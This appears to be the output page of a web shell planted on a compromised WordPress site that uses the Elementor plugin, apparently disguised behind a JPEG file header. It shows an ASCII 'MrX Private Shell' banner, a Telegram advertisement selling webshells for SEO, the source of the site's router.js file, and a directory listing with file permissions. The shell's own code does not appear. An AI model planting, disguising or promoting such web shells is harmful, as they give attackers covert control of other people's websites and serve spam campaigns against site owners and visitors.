����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* App Router
*
* TODO: Temporary solution for routing extensibility.
*/
class Router {
/**
* @type {*[]}
*/
routes = [];
history = null;
/**
*
* @param {{path: string, component: Object, props: Object}} route
*/
addRoute( route ) {
this.routes.push( route );
}
getRoutes() {
return this.routes.map( ( route ) => {
const props = route.props || {};
// Use the path as a key, and add it as a prop.
props.path = props.key = route.path;
return React.createElement( route.component, props );
} );
}
}
const router = new Router();
// Make router available for use within packages.
window.elementorAppPackages = {
router,
};
export default router;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| event-track | Folder | 0755 |
|
|
| hooks | Folder | 0755 |
|
|
| layout | Folder | 0755 |
|
|
| loader | Folder | 0755 |
|
|
| molecules | Folder | 0755 |
|
|
| organisms | Folder | 0755 |
|
|
| pages | Folder | 0755 |
|
|
| ui | Folder | 0755 |
|
|
| url-actions | Folder | 0755 |
|
|
| utils | Folder | 0755 |
|
|
| _app-api.scss | File | 3.01 KB | 0644 |
|
| app-context.js | File | 468 B | 0644 |
|
| app-loader.js | File | 731 B | 0644 |
|
| app-packages.js | File | 378 B | 0644 |
|
| app.js | File | 1.28 KB | 0644 |
|
| app.scss | File | 2.66 KB | 0644 |
|
| index.js | File | 584 B | 0644 |
|
| package.js | File | 2.19 KB | 0644 |
|
| router.js | File | 692 B | 0644 |
|